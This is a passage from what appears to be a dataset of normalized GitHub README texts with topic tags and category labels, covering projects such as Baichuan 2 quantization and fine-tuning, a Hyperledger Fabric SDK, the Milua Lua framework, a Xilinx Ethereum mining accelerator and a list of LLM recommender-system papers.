1000m s baichuan 2 a a b b c c d 340m s 1000m s d d i m mike i am going to have a busy weekend on saturday i am going to learn how to swim i will go with my father then we are going to have lunch in the restaurant in the afternoon we are going to the zoo we are going to see the pandas on sunday i will finish my homework in the morning in the afternoon my parents and i are going to visit my grandparents we will have dinner together t f 1 mike is going to have a busy weekend 2 mike is going to learn how to swim with his father 3 they are going to have lunch at home baichuan 2 1 t 2 t 3 f details baichuan 2 baichuan 2 baichuan2 7b chat baichuan2 13b chat baichuan 2 baichuan 2 bitsandbytes https github com timdettmers bitsandbytes transformers bitsandbytes 8bits 4bits 4bits fp4 nf4 baichuan 2 nf4 4bits baichuan 2 8bits 4bits baichuan 13b https huggingface co baichuan inc baichuan 13b chat cpu quantize cuda gpu baichuan2 7b chat 8bits python model automodelforcausallm from pretrained baichuan inc baichuan2 7b chat torch dtype torch float16 trust remote code true model model quantize 8 cuda 4bits python model automodelforcausallm from pretrained baichuan inc baichuan2 7b chat torch dtype torch float16 trust remote code true model model quantize 4 cuda from pretrained device map auto 4bits baichuan2 7b chat 4bits https huggingface co baichuan inc baichuan2 7b chat 4bits tree main baichuan2 7b chat 4bits python model automodelforcausallm from pretrained baichuan inc baichuan2 7b chat 4bits device map auto trust remote code true 8bits hugging face transformers api 8bits 8bits python model saving model id is the original model directory and quant8 saved dir is the directory where the 8bits quantized model is saved model automodelforcausallm from pretrained model id load in 8bit true device map auto trust remote code true model save pretrained quant8 saved dir model automodelforcausallm from pretrained quant8 saved dir device map auto trust remote code true gpu mem in gb precision baichuan2 7b baichuan2 13b bf16 fp16 15 3 27 5 8bits 8 0 16 1 4bits 5 1 8 6 benchmark model 5 shot c eval mmlu cmmlu baichuan2 13b chat 56 74 57 32 59 68 baichuan2 13b chat 4bits 56 05 56 24 58 82 baichuan2 7b chat 54 35 52 93 54 99 baichuan2 7b chat 4bits 53 04 51 72 52 84 c eval val set 4bits bfloat16 1 2 cpu baichuan 2 cpu cpu python taking baichuan2 7b chat as an example model automodelforcausallm from pretrained baichuan inc baichuan2 7b chat torch dtype torch float32 trust remote code true baichuan 1 baichuan 2 baichuan 1 baichuan 7b baichuan 13b baichuan 2 baichuan 2 baichuan 1 baichuan 2 lm head lm head weight baichuan 1 python import torch import os ori model dir your baichuan 2 model directory to avoid overwriting the original model it s best to save the converted model to another directory before replacing it new model dir your normalized lm head weight baichuan 2 model directory model torch load os path join ori model dir pytorch model bin lm head w model lm head weight lm head w torch nn functional normalize lm head w model lm head weight lm head w torch save model os path join new model dir pytorch model bin shell git clone https github com baichuan inc baichuan2 git cd baichuan2 fine tune pip install r requirements txt lora peft https github com huggingface peft xformers xformers https github com facebookresearch xformers baichuan2 7b base data belle chat ramdon 10k json multiturn chat 0 8m https huggingface co datasets bellegroup multiturn chat 0 8m 1 shell hostfile deepspeed hostfile hostfile fine tune py report to none data path data belle chat ramdon 10k json model name or path baichuan inc baichuan2 7b base output dir output model max length 512 num train epochs 4 per device train batch size 16 gradient accumulation steps 1 save strategy epoch learning rate 2e 5 lr scheduler type constant adam beta1 0 9 adam beta2 0 98 adam epsilon 1e 8 max grad norm 1 0 weight decay 1e 4 warmup ratio 0 0 logging steps 1 gradient checkpointing true deepspeed ds config json bf16 true tf32 true hostfile ip1 slots 8 ip2 slots 8 ip3 slots 8 ip4 slots 8 hosftfile shell hostfile path to hostfile deepspeed hostfile hostfile fine tune py report to none data path data belle chat ramdon 10k json model name or path baichuan inc baichuan2 7b base output dir output model max length 512 num train epochs 4 per device train batch size 16 gradient accumulation steps 1 save strategy epoch learning rate 2e 5 lr scheduler type constant adam beta1 0 9 adam beta2 0 98 adam epsilon 1e 8 max grad norm 1 0 weight decay 1e 4 warmup ratio 0 0 logging steps 1 gradient checkpointing true deepspeed ds config json bf16 true tf32 true lora shell use lora true lora fine tune py lora python from peft import autopeftmodelforcausallm model autopeftmodelforcausallm from pretrained output trust remote code true checkpoints 2 6 tokens baichuan2 7b base 11 checkpoints 0 2 2 4 tokens https huggingface co baichuan inc baichuan2 7b intermediate checkpoints checkpoints c eval mmlu cmmlu benchmark div align center img src https github com baichuan inc baichuan2 blob main media checkpoints jpeg raw true width 50 div baichuan 2 pytorch baichuan 2 npu pytorch deepspeed modeling readme baichuan2 7b https gitee com ascend modelzoo pytorch tree master pytorch built in foundation baichuan2 7b baichuan2 13b baichuan 2 npu modeling readme baichuan2 7b https gitee com ascend modelzoo pytorch tree master acl pytorch built in foundation models baichuan2 7b baichuan2 13b https gitee com ascend modelzoo pytorch tree master acl pytorch built in foundation models baichuan2 13b mindspore mindformers https gitee com mindspore mindformers mindspore baichuan2 7b 13b https gitee com mindspore mindformers tree dev research baichuan2 readme https gitee com mindspore mindformers tree dev research baichuan2 baichuan2 md https xihe mindspore cn mindspore ai mindformers baichuan2 7b https xihe mindspore cn modelzoo baichuan2 7b chat llama efficient tuning llama efficient tuning https github com hiyouga llama efficient tuning baichuan 2 baichuan 2 ios android baichuan 2 baichuan 2 baichuan 2 baichuan 2 apache 2 0 https github com baichuan inc baichuan2 blob main license baichuan 2 https huggingface co baichuan inc baichuan2 7b base resolve main baichuan 202 e6 a8 a1 e5 9e 8b e7 a4 be e5 8c ba e8 ae b8 e5 8f af e5 8d 8f e8 ae ae pdf baichuan 2 baichuan 2 1 dau 100 2 3 opensource baichuan inc com baichuan 2 reference article baichuan2023baichuan2 title baichuan 2 open large scale language models author baichuan journal arxiv preprint arxiv 2309 10305 url https arxiv org abs 2309 10305 year 2023 | artificial-intelligence benchmark ceval chatgpt chinese gpt gpt-4 huggingface large-language-models llama2 mmlu natural-language-processing | ai |
cs2102_ay1819_s2 | cs2102 ay1819 s2 cs2102 database systems introduction to web application development | front_end |
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Learning-OpenCV-5-Computer-Vision-with-Python-Fourth-Edition | learning opencv 5 computer vision with python 3 fourth edition this is the code repository for our upcoming book learning opencv 5 computer vision with python 3 fourth edition which will be published by packt after the release of opencv 5 you may find this repository interesting as a preview of things to come in the next fourth edition of our classic guide to opencv and python alternatively to find the stable code for the book s current third edition targeting opencv 4 please go to https github com packtpublishing learning opencv 4 computer vision with python third edition thank you for your continued interest in the bright future of computer vision best wishes joseph howse and joe minichino | ai |
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fabric-sdk-node | hyperledger fabric client sdk for node js a href https github com hyperledger fabric sdk node actions workflows scheduled yml img src https github com hyperledger fabric sdk node actions workflows scheduled yml badge svg alt build status style float right a note this api is deprecated as of fabric v2 5 when developing applications for hyperledger fabric v2 4 and later you should use the fabric gateway client api https hyperledger github io fabric gateway the hyperledger fabric client sdk makes it possible to use apis to interact with a hyperledger fabric blockchain this readme is directed towards a current or future contributor to this project and gives an overview of setting up the project locally and running tests for more information on the sdk including features and an api reference please visit the sdk documentation https hyperledger github io fabric sdk node this project publishes the following npm packages fabric ca client client for the optional component in hyperledger fabric fabric ca http hyperledger fabric ca readthedocs io en latest users guide html the fabric ca component allows applications to enroll peers and application users to establish trusted identities on the blockchain network it also provides support for pseudonymous transaction submissions with transaction certificates if the target blockchain network is configured with standard certificate authorities for trust anchors the application does not need to use this package fabric common encapsulates the common code used by all fabric sdk node packages supporting fine grain interactions with the fabric network to send transaction invocations fabric network this package encapsulates the apis to connect to a fabric network submit transactions and perform queries against the ledger at a higher level of abstraction than through the fabric common fabric protos this package encapsulates the protobuffers that are used to communicate over grpc build and test to build and test the following pre requisites must be installed first node js docker only required for running integration tests see below run unit tests clone the project and launch the following commands to install the dependencies and perform various tasks in the project root folder install all dependencies via npm install optionally to generate api docs via npm run docs to generate the required crypto material used by the tests use the npm task npm run installandgeneratecerts to run the unit tests that do not require any additional set up use npm run testheadless run integration tests integration tests run on the main branch require the most recent stable fabric images which are hosted on artifactory a utility script is provided to retrieve non published docker images which may be run using the command npm run pullfabricimages now you are ready to run the integration tests it is advisable to clear out any previous key value stores that may have cached user enrollment certificates using the command rm rf tmp hfc rm rf hfc key store prior to testing in isolation we have functional and scenario based tests that may be run via the following commands end to end tape tests may be run via npm run tapeintegration scenario cucumber tests may be run via npm run cucumberscenario you may run both integration test styles using npm run tapeandcucumber all tests unit and integration may be run using the command npm test or npm run testnohsm when not using a hsm or hsm simulator special tests for hardware security module support via pkcs 11 interface the sdk has support for hardware security module hsm via pkcs 11 interface see the test readme test readme md for details of how to run hsm tests locally pluggability hfc defines the following abstract classes for application developers to supply extensions or alternative implementations for each abstract class a built in implementation is included with the ability to load alternative implementations via designated environment variables 1 to replace filekeyvaluestore with a different implementation such as one that saves data to a database specify key value store and provide the full require path to an alternative implementation of the api keyvaluestore abstract class 2 the cryptography suite used by the default implementation uses ecdsa for asymmetric keys cryptography aes for encryption and sha2 3 for secure hashes a different suite can be plugged in with crypto suite environment variable specifying full require path to the alternative implementation of the api crytosuite abstract class 3 if the user application uses an alternative membership service than the one provided by the component fabric ca the client code will likely need to use an alternative client to fabric ca client to interact with that membership service continuous integration our continuous integration is run using azure pipelines https dev azure com hyperledger fabric sdk node build builds are automatically triggered on opening pull requests release notes check the release notes directory for the release notes of the specified release contributing check the documentation contributing md on how to contribute to this project for the full details a rel license href http creativecommons org licenses by 4 0 img alt creative commons license style border width 0 src https i creativecommons org l by 4 0 88x31 png a br this work is licensed under a a rel license href http creativecommons org licenses by 4 0 creative commons attribution 4 0 international license a | fabric hyperledger blockchain distributed-ledger node | blockchain |
parcv | parcv this repository contains a collection of experiments we ve conducted on the parallella prototype details of which can be found here http www parallella org 2013 05 25 explorations in erlang with the parallela a prelude the image processing demo mentioned in the blog post is comprised of 2 subsystems imgproc which is a c binding to opencl transforms along with the kernels we were experimenting with this is the bulk of the code and what runs on the parallella machine opencv client is the code which runs on camera nodes it captures video frames performs grayscale conversion and sends them to the parallella we ve also included ocl a lightweight binding to opencl while it isn t particularly featureful it might serve as a useful example of writing nif code license parcv is licensed under the apache license version 2 0 the license you may not use this library except in compliance with the license you may obtain a copy of the license at http www apache org licenses license 2 0 unless required by applicable law or agreed to in writing software distributed under the license is distributed on an as is basis without warranties or conditions of any kind either express or implied see the license for the specific language governing permissions and limitations under the license | ai |
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Computer-Vision | starter code for computer vision br face detection in image https github com lokeshdangi computer vision blob master module 1 face detection in image ipynb br face detection in video feed https github com lokeshdangi computer vision blob master module 1 face detection in video feed ipynb couting objects in image https github com lokeshdangi computer vision blob master module 2 couting objects ipynb document scanning https github com lokeshdangi computer vision blob master module 3 document scanner ipynb optical mark recognition https github com lokeshdangi computer vision blob master module 4 optical 20mark 20recognition ipynb object tracking in video https github com lokeshdangi computer vision blob master module 5 object 20tracking ipynb capturing roi https github com lokeshdangi computer vision blob master module 6 capturing 20roi 20in 20image ipynb tracking object movement https github com lokeshdangi computer vision blob master module 5 tracking 20object 20movement ipynb qr codes https github com lokeshdangi computer vision blob master module 7 qr 20code 20scanner ipynb | ai |
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Milua | p align center img align center src doc logo svg height 200px p h1 align center milua h2 h3 align center lua micro framework for web development h3 p align center img src https img shields io badge lua 5 4 2c2d72 style flat square logo lua img src https img shields io luarocks v miguelmj milua style flat square a href license img src https img shields io badge license mit informational style flat square a p milua is inspired by frameworks like flask or express so it just aims to be quick to install and simple to use enough to prototype any idea you have in mind without needing to worry too much about third party software preview preview features features installation installation alternatives alternatives license license preview examples handsome server lua lua local app require milua basic example app add handler get function return h1 welcome to the i handsome i server h1 content type text html end example capturing a path variable app add handler get user function captures query headers local username captures 1 local times query times or 1 return the user username is very rep times handsome end example returning no data and status app add handler delete user function return nil status 204 end hooking the server close event app shutdown hook function cleaning up any external resource end app start you can run the example directly bash lua examples handsome server lua and test it with curl output curl localhost 8800 h1 welcome to the handsome server h1 curl localhost 8800 user foo the user foo is very handsome curl localhost 8800 user foo times 3 the user foo is very very very handsome features right now the milua module only offers add handler method path handler to associate a method and a path to a handler the handler function must accept the following arguments captures an array with the variables fields of the path specified with query a table with the key value pairs of the query in the url headers the headers of the http request body the body of the http request and must return the following values the body of the repsonse optional a table with the headers of the response shutdown hook func where func is a function which will be called before closing the server start config where config contains the host and the port to run the application logger table with support for info debug and error logging levels usage logger info this is an info message logger error this is an error message logger debug this is a debug message how to custom logger levels logger add logger info function print this a template logger format end config table with support for getting configuration values from environment variables as well as env files this also let s you extend the config table with a new table where if you define an emty value for a key it will try to get it from a env file or the os environment example lua local config require milua config config extend db name name db pass pass db host host host localhost stdout localhost wolololo config add config new key new value app start config installation you can install it directly from luarocks bash luarocks install milua alternatively install it from the root of the directory of the repository bash git clone https github com miguelmj milua cd milua sudo luarocks make contributors all contributors list start do not remove or modify this section prettier ignore start markdownlint disable table tbody tr td align center valign top width 14 28 a href https github com wmb1207 img src https avatars githubusercontent com u 89983571 v 4 s 100 width 100px alt wmb1207 br sub b wmb1207 b sub a br a href https github com miguelmj milua commits author wmb1207 title code a a href https github com miguelmj milua commits author wmb1207 title documentation a td td align center valign top width 14 28 a href https github com rdleal img src https avatars githubusercontent com u 54686430 v 4 s 100 width 100px alt rdleal br sub b rdleal b sub a br a href https github com miguelmj milua commits author rdleal title code a a href https github com miguelmj milua commits author rdleal title documentation a td tr tbody table markdownlint restore prettier ignore end all contributors list end prettier ignore start markdownlint disable markdownlint restore prettier ignore end all contributors list end alternatives there are great frameworks and libraries also written in lua i personally find that none satisfies at the same time the requirements i had when creating milua but maybe you ll find one better suited for your needs lapis https github com leafo lapis pegasus lua https github com evandrolg pegasus lua license milua is licensed under the mit license license a copy of which you can find in the repository | framework lua web | front_end |
NLP | nlp store code related to nlp natural language processing speechemotionrecognize http www chenjianqu com show 45 html autodigestgeneration attention http www chenjianqu com show 46 html | ai |
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phonon | phonon https phonon framework github io phonon is a responsive front end framework with a focus on simplicity and flexibility typescript https badges frapsoft com typescript code typescript svg v 101 https github com ellerbrock typescript badges dependency status https david dm org phonon framework phonon svg https david dm org phonon framework phonon devdependencies status https david dm org phonon framework phonon dev status svg https david dm org phonon framework phonon build status https img shields io travis phonon framework phonon svg style flat square https travis ci org phonon framework phonon svg branch master codecov https codecov io gh phonon framework phonon branch master graph badge svg https codecov io gh phonon framework phonon npm https img shields io npm v phonon svg style flat square license https img shields io github license quark dev phonon svg style flat square starting with v2 phonon is written in sass https sass lang com and typescript https www typescriptlang org installation you have the following options to install phonon v2 install with npm https www npmjs com package phonon npm install phonon 2 0 0 alpha 1 install with yarn https yarnpkg com en package phonon yarn add phonon 2 0 0 alpha 1 install with composer https packagist org packages phonon framework phonon composer require phonon framework phonon deliver cdn cached version of phonon compiled css https unpkg com phonon 2 0 0 alpha 1 dist css and javascript https unpkg com phonon 2 0 0 alpha 1 dist js to your project by using unpkg https unpkg com phonon 2 0 0 alpha 1 clone the repository to get all source files and compile phonon by using the scripts git clone https github com phonon framework phonon git download the latest release https github com phonon framework phonon releases and use compiled css and javascript files available in the dist folder framework compatibility phonon uses a dom mutationobserver https developer mozilla org en us docs web api mutationobserver which enables to react to dom changes this explains the ease of use of phonon with angular react and vue etc please see examples https github com phonon framework phonon tree master examples for more information examples we have several examples to share with you to show you how easy it is to integrate phonon for your project all examples are available in examples phonon and react https github com phonon framework phonon tree master examples react example phonon and vue https github com phonon framework phonon tree master examples vue example phonon and webpack https github com phonon framework phonon tree master examples webpack example versioning phonon framework is maintained under the semantic versioning guidelines http semver org contributing don t hesitate to contribute to this project the phonon team is completely open to any suggestions or improvements please go to the issues page https github com phonon framework phonon issues to open an issue moreover if your pull request contains javascript patches or features you must include relevant unit tests editor preferences are available in the editor config https github com phonon framework phonon blob master editorconfig for easy use in common text editors copyright and license code released under the mit license https github com phonon framework phonon blob master license | javascript phonon hybrid-apps light framework framework-agnostic css mobile-web frontend-framework front-end-development web website typescript | front_end |
blockchainacceleration | ethereumminer ethereumminer is xilinx s open sourced solution written in c for ethereum mining currently this solution offers on device side a vitis based kernel design to accelerate ethash which is hashing algorithm of ethereum also a vitis based kernel design to accelerate dag generation which provides the large dataset needed by ethash on host side a patch to ethminer which is the most popular mining software for customer to do mining with their own account and desired mining pool requirement currently this solution support xilinx varium c1100 you need installed packages for the card like xrt firmware and development package for the card if you would like to build the xclbin files on your own machine you ll also need vitis that is at least 2021 1 or later version you could also download pre buildt xclbin files from xilinx please take reference from step to run step to run 1 get xclbins ready you can either download them from xilinx or try build them yourself to download from xilinx build sh get xclbin to build your self build sh build ethash and build sh build daggen 2 get ethminer ready build sh build host 3 run build mine your account your mine name mining pool address license licensed using the apache 2 0 license https www apache org licenses license 2 0 copyright 2019 2021 xilinx inc licensed under the apache license version 2 0 the license you may not use this file except in compliance with the license you may obtain a copy of the license at http www apache org licenses license 2 0 unless required by applicable law or agreed to in writing software distributed under the license is distributed on an as is basis without warranties or conditions of any kind either express or implied see the license for the specific language governing permissions and limitations under the license | blockchain |
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rimble-ui | rimble ui rimble design system x27 s react component library npm https img shields io npm v rimble ui svg https www npmjs com package rimble ui javascript style guide https img shields io badge code style standard brightgreen svg https standardjs com travis build status https travis ci com consensys rimble ui svg branch master https travis ci com consensys rimble ui join the community on spectrum https withspectrum github io badge badge svg https spectrum chat rimble rimble is a project from consensys design aiming to provide adaptable components and design standards for decentralized applications dapps our goal is simply to make it easier to build dapps with outstanding user experience if you re interested we have written a bit more about our rationale and approach to building rimble https blog prototypr io this is rimble d0f1ad26b8b6 rimble is in initial development and should not be considered stable today we have made the project public in a very early stage of work in order to gather feedback from the community of designers and developers building dapps we are actively working on adding new components to rimble and will be sharing more information on the roadmap very soon install bash npm install save rimble ui styled components usage jsx import react component from react import button from rimble ui class example extends component render return button size medium click me button change log 0 14 0 new feature export es6 modules for tree shaking 0 13 1 bug fix added default props for heading component 0 13 0 new feature added crypto icons under the icon component bug fix fixed heading component as prop not working fixed text component as prop not working fixed select component arrow icon placement 0 12 0 new feature updated all components to styled system v5 0 11 1 bug fix fixed icon background color on toastmessage component 381 fixed display prop not rendering correctly for icon component 380 fixed disabled styling for slider component 414 0 11 0 new feature added basestyles component bug fix updated text component to pass as prop correctly updated heading component to pass as prop correctly updated select component to adjust width updated field to inherit color updated radio and checkbox components to inherit text and icon colors correctly fixed pre commit deprecation warning 372 fixed warnings when building library 376 enhancement adjusted ethaddress component padding addeded default font sizes for h1 h6 elements styled input type color for better visibility updated default props for input textarea card removed copycolor from theme js added text and background colors to theme js 0 10 0 fixed select arrow display bug added missing props to qr component added title and aria label attributes to ethaddress inputs accessibility changed default module from cjs to umd upgraded to storybook app and updated stories reorganized component testing app cra 0 9 8 updated vulnerable dependencies fixed onchange event not firing for file inputs added new ethaddress component 0 9 7 fixed onchange events not firing for file inputs 0 9 6 fixed default theme in rimble themeprovider 0 9 5 fixed select component accepts more options children fixed outdated dependencies vulnerability fixed publicaddress width property being passed to it s parent field component 0 9 4 added ref forwarding for all components fixed input validation icon padding fixed tooltip positioning fixed broken copy button on publicaddress component 0 9 3 revert to last stable version 0 9 2 fixed slider bar in firefox added proptype definitions for all components 0 9 1 fixed tooltip breaking server side rendering 0 9 0 refactored box component to add overflow prop refactored heading component to remove default margins refactored text component to remove default margins bug fix for anchor elements inside flash component removed selected props from pill component 0 8 0 refactored button with text and outline as compounds of button refactored metamaskbutton and uportbutton to use button as base added more colors to theme for success warning danger info bug fix for ref property on input component bug fix for ref property on button component 0 7 1 removed background color on image component 0 7 0 flash component custom labels for publicaddress component bug fixes 0 6 0 tables bug fixes 0 5 0 better form validation uport connect button upgraded to storybook 5 bug fixes 0 4 0 toast messages and toast message provider qr code modal pills expanded test coverage 0 3 0 styling cleanup for lots of components bug fixes 0 2 0 publicaddress component metamask buttons and more button variants basic layout components cards loaders 0 1 0 theming buttons and other simple components blockies license mit consensys https github com consensys | design-systems react react-components javascript web3 ethereum ui ui-components styled-components | os |
map-reduce-bloom-filter | map reduce bloom filter project for cloud computing course at university of pisa msc computer engineering and artificial intelligence and data engineering the aim of this project is to design a mapreduce application to build and test bloom filters space efficient probabilistic structure used for membership testing over the movies of the imdb dataset the mapreduce application has to be implemented both with hadoop 3 1 3 using java 1 8 and spark 2 4 4 using python 3 6 the configured cluster was composed of four ubuntu vm deployed on the cloud infrastructure of the university of pisa credits to riccardo sagramoni veronica torraca fabiano pilia and emanuele tinghi strucure of the github repository dataset imdb dataset file docs project specification and report hadoop bloom filter java code for the hadoop application sh scripts linux script to automatize the execution of the applications spark bloom filter python code for the spark application util python scripts that sets the dataset up for the applications project structure on the linux virtual machines 0 launch partition dataset sh 1 launch linecount sh 2a launch hadoop bloomfilter sh 2b launch hadoop tester sh 3a launch spark bloomfilter sh 3b launch spark tester sh data imdb tsv hadoop bloom filter 1 0 snapshot jar bloom filter properties spark bloomfilters builder py bloomfilters tester py bloomfilters util py util count number of keys py split dataset py | cloud-computing hadoop hadoop-mapreduce java linux mapreduce mapreduce-java mapreduce-python python spark unipi unipisa university-of-pisa university-project | cloud |
LLM4Rec-Awesome-Papers | llm for recommendation systems a list of awesome papers and resources of recommender system on large language model llm news our llm4rec survey has been released a survey on large language models for recommendation https arxiv org abs 2305 19860 the related work and projects will be updated soon and continuously div align center img src https github com wlik llm4rec awesome papers blob main llm4rec paradigms png alt editor width 700 div if our work has been of assistance to you please feel free to cite our survey thank you article llm4recsurvey author likang wu and zhi zheng and zhaopeng qiu and hao wang and hongchao gu and tingjia shen and chuan qin and chen zhu and hengshu zhu and qi liu and hui xiong and enhong chen title a survey on large language models for recommendation journal corr volume abs 2305 19860 year 2023 table of contents the papers and related projects the papers and related projects no tuning no tuning supervised fine tuning supervised fine tuning related survey related survey common datasets common datasets single card rtx 3090 debuggable generative language models that support chinese corpus single card rtx 3090 debuggable generative language models that support chinese corpus the papers and related projects no tuning note the tuning here only indicates whether the llm model has been tuned name paper venue year code llm n a large language models as zero shot conversational recommenders zhankui he zhouhang xie rahul jha harald steck dawen liang yesu feng bodhisattwa majumder nathan kallus julian mcauley conference on information and knowledge management cikm 23 https arxiv org abs 2308 10053 cikm 2023 python https github com aaronheee llms as zero shot conversational recsys gpt 3 5 turbo gpt 4 baize vicuna agent4rec zhang a sheng l chen y et al on generative agents in recommendation j arxiv preprint arxiv 2310 10108 2023 https arxiv org pdf 2310 10108 pdf arxiv 2023 python https github com lehengthu agent4rec gpt4 n a zero shot recommendations with pre trained large language models for multimodal nudging https arxiv org abs 2309 01026 arxiv 2023 n a blip 2 gpt4 interecagent recommender ai agent integrating large language models for interactive recommendations https arxiv org abs 2308 16505 arxiv 2023 n a gpt4 gpt4sm peng wenjun et al are gpt embeddings useful for ads and recommendation international conference on knowledge science engineering and management cham springer nature switzerland 2023 https link springer com chapter 10 1007 978 3 031 40292 0 13 ksem 2023 python https github com wenjun peng gpt4sm gpt llmrg wang y chu z ouyang x wang s hao h shen y li s 2023 enhancing recommender systems with large language model reasoning graphs arxiv preprint arxiv 2308 10835 https arxiv org abs 2308 10835 arxiv 2023 n a gpt 3 5 gpt4 rah shu y gu h zhang p zhang h lu t li d gu n 2023 rah recsys assistant human a human central recommendation framework with large language models arxiv preprint arxiv 2308 09904 https arxiv org abs 2308 09904 arxiv 2023 n a gpt4 llm rec lyu hanjia et al llm rec personalized recommendation via prompting large language models arxiv preprint arxiv 2307 15780 2023 https arxiv org pdf 2307 15780 pdf arxiv 2023 n a gpt 3 n a sanner s balog k radlinski f wedin b dixon l 2023 large language models are competitive near cold start recommenders for language and item based preferences arxiv preprint arxiv 2307 14225 https arxiv org abs 2307 14225 recsys 2023 n a palm mint mysore s mccallum a zamani h large language model augmented narrative driven recommendations j arxiv preprint arxiv 2306 02250 2023 https arxiv org abs 2306 02250 recsys 2023 n a 175b instructgpt kar xi y liu w lin j zhu j chen b tang r yu y 2023 towards open world recommendation with knowledge augmentation from large language models arxiv preprint arxiv 2306 10933 https arxiv org abs 2306 10933 arxiv 2023 python https gitee com mindspore models tree master research recommend kar chatglm recagent wang l zhang j chen x lin y song r zhao w x wen j r 2023 recagent a novel simulation paradigm for recommender systems arxiv preprint arxiv 2306 02552 https arxiv org pdf 2306 02552 arxiv 2023 python https github com ruc gsai yulan rec chatgpt anypredict wang z gao c xiao c et al anypredict foundation model for tabular prediction j arxiv preprint arxiv 2305 12081 2023 https arxiv org abs 2305 12081 arxiv 2023 n a chatgpt biobert ievalm wang x tang x zhao w x wang j wen j r 2023 rethinking the evaluation for conversational recommendation in the era of large language models arxiv preprint arxiv 2305 13112 https arxiv org pdf 2305 13112 arxiv 2023 python https github com rucaibox ievalm crs chatgpt n a hou y zhang j lin z lu h xie r mcauley j zhao w x 2023 large language models are zero shot rankers for recommender systems arxiv preprint arxiv 2305 08845 https arxiv org pdf 2305 08845 arxiv 2023 python https github com rucaibox llmrank chatgpt fairllm zhang j bao k zhang y wang w feng f he x 2023 is chatgpt fair for recommendation evaluating fairness in large language model recommendation arxiv preprint arxiv 2305 07609 https arxiv org pdf 2305 07609 recsys 2023 python https github com jizhi zhang fairllm chatgpt genre liu q chen n sakai t wu x m 2023 a first look at llm powered generative news recommendation arxiv preprint arxiv 2305 06566 https arxiv org pdf 2305 06566 arxiv 2023 python https github com jyonn genre requests chatgpt n a lin g zhang y 2023 sparks of artificial general recommender agr early experiments with chatgpt arxiv preprint arxiv 2305 04518 https arxiv org abs 2305 04518 arxiv 2023 n a chatgpt n a dai s shao n zhao h yu w si z xu c xu j 2023 uncovering chatgpt s capabilities in recommender systems arxiv preprint arxiv 2305 02182 https arxiv org pdf 2305 02182 arxiv 2023 python https github com rainym00d llm4rs chatgpt n a liu j liu c lv r zhou k zhang y 2023 is chatgpt a good recommender a preliminary study arxiv preprint arxiv 2304 10149 https arxiv org pdf 2304 10149 arxiv 2023 n a chatgpt vq rec hou y he z mcauley j et al learning vector quantized item representation for transferable sequential recommenders c proceedings of the acm web conference 2023 2023 1162 1171 https dl acm org doi abs 10 1145 3543507 3583434 casa token zorcb58exvuaaaaa o7uh gmrjedzmijpk8fdenj2ueklc5kb95c73blmpmxtsrlehzfnlr7sxsrchitigflskwfiwkaqw acm 2023 python https github com rucaibox vq rec bert rankgpt sun w yan l ma x ren p yin d ren z 2023 is chatgpt good at search investigating large language models as re ranking agent arxiv preprint arxiv 2304 09542 https arxiv org pdf 2304 09542 arxiv 2023 python https github com sunnweiwei rankgpt chatgpt 4 generec wang w lin x feng f he x chua t s 2023 generative recommendation towards next generation recommender paradigm arxiv preprint arxiv 2304 03516 https arxiv org pdf 2304 03516 arxiv 2023 python https github com linxyhaha generec n a nir wang l lim e p 2023 zero shot next item recommendation using large pretrained language models arxiv preprint arxiv 2304 03153 https arxiv org pdf 2304 03153 arxiv 2023 python https github com agi edgerunners llm next item rec gpt 3 5 chat rec gao y sheng t xiang y xiong y wang h zhang j 2023 chat rec towards interactive and explainable llms augmented recommender system arxiv preprint arxiv 2303 14524 https arxiv org pdf 2303 14524 arxiv 2023 n a chatgpt n a sileo d vossen w raymaekers r 2022 april zero shot recommendation as language modeling in advances in information retrieval 44th european conference on ir research ecir 2022 https arxiv org pdf 2112 04184 ecir 2022 python https colab research google com drive 1f1mlz fgalgdo5rpzxf3vemkllbh2est usp sharing gpt 2 unicrs wang x zhou k wen j r zhao w x 2022 august towards unified conversational recommender systems via knowledge enhanced prompt learning in proceedings of the 28th acm sigkdd conference on knowledge discovery and data mining pp 1929 1937 https arxiv org pdf 2206 09363 kdd 2022 python https github com rucaibox unicrs gpt 2 dialogpt bart supervised fine tuning name paper venue year code llm transrec lin x wang w li y et al a multi facet paradigm to bridge large language model and recommendation j arxiv preprint arxiv 2310 06491 2023 https arxiv org abs 2310 06491 arxiv 2023 n a bart large and llama 7b recsysllm chu z hao h ouyang x wang s wang y shen y li s 2023 leveraging large language models for pre trained recommender systems arxiv preprint arxiv 2308 10837 https arxiv org abs 2308 10837 arxiv 2023 n a glm 10b bigrec a bi step grounding paradigm for large language models in recommendation systems https arxiv org abs 2308 08434 arxiv 2023 python https github com sai990323 grounding4rec llama llmcrs feng yue et al a large language model enhanced conversational recommender system arxiv preprint arxiv 2308 06212 2023 https arxiv org abs 2308 06212 arxiv 2023 n a flan t5 llama glrec wu l qiu z zheng z zhu h chen e 2023 exploring large language model for graph data understanding in online job recommendations https arxiv org abs 2307 05722 arxiv 2023 n a belle girl zheng z qiu z hu x wu l zhu h xiong h 2023 generative job recommendations with large language model https arxiv org abs 2307 02157 arxiv 2023 n a belle amazon m2 jin wei et al amazon m2 a multilingual multi locale shopping session dataset for recommendation and text generation arxiv abs 2307 09688 2023 https arxiv org pdf 2307 09688 pdf arxiv 2023 project https kddcup23 github io mt5 genrec ji j li z xu s hua w ge y tan j zhang y 2023 genrec large language model for generative recommendation arxiv e prints arxiv 2307 https arxiv org pdf 2307 00457 pdf arxiv 2023 python https github com rutgerswiselab genrec llama recllm friedman l ahuja s allen d tan t sidahmed h long c tiwari m 2023 leveraging large language models in conversational recommender systems arxiv preprint arxiv 2305 07961 https arxiv org pdf 2305 07961 arxiv 2023 n a lamda video dpllm carranza a g farahani r ponomareva n kurakin a jagielski m nasr m 2023 privacy preserving recommender systems with synthetic query generation using differentially private large language models arxiv preprint arxiv 2305 05973 https arxiv org abs 2305 05973 arxiv 2023 n a t5 pbnr li x zhang y malthouse e c 2023 pbnr prompt based news recommender system arxiv preprint arxiv 2304 07862 https arxiv org abs 2304 07862 arxiv 2023 n a t5 gptrec petrov a v macdonald c 2023 generative sequential recommendation with gptrec arxiv preprint arxiv 2306 11114 https arxiv org abs 2306 11114 gen ir sigir 2023 n a gpt 2 ctrl li x chen b hou l et al ctrl connect tabular and language model for ctr prediction j arxiv preprint arxiv 2306 02841 2023 https arxiv org abs 2306 02841 arxiv 2023 n a roberta glm unitrec mao z wang h du y wong k f 2023 unitrec a unified text to text transformer and joint contrastive learning framework for text based recommendation arxiv preprint arxiv 2305 15756 https arxiv org abs 2305 15756 acl 2023 python https github com veason silverbullet unitrec bart icpc christakopoulou k lalama a adams c qu i amir y chucri s chen m 2023 large language models for user interest journeys arxiv preprint arxiv 